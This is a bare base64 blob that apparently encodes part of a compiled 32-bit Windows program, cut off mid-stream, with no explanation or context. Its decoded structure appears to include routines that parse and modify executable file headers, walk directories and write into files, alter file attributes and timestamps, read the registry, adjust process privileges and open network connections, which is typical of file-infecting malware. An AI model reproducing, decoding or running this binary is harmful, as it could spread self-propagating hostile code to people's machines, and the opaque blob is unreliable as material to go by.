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 